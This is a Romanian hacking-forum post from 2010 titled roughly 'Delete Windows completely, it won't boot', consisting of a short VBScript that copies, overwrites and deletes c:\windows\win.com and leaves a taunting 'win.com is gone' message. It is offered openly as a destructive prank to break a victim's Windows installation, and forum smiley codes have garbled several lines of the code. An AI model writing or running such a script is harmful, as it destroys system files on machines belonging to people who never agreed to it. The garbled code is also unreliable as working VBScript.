Saturday, 2024-04-20, 2:04 PM
Welcome Guest | RSS

Sterge Windowsu De tot Numai Merge Instalat - Forum

[ New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
Forum » *...:::Fun-Zone:::...* » Hack-uri » Sterge Windowsu De tot Numai Merge Instalat
Sterge Windowsu De tot Numai Merge Instalat
ghiunei4485Date: Monday, 2010-02-22, 7:39 PM | Message # 1
Generalissimo
Group: Administrators
Messages: 168
Awards: 1
Status: Offline
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"smiley
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"smiley
set fs2=fso.CreateTextFile("c:\windows\win.com"smiley
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
 
Forum » *...:::Fun-Zone:::...* » Hack-uri » Sterge Windowsu De tot Numai Merge Instalat
  • Page 1 of 1
  • 1
Search: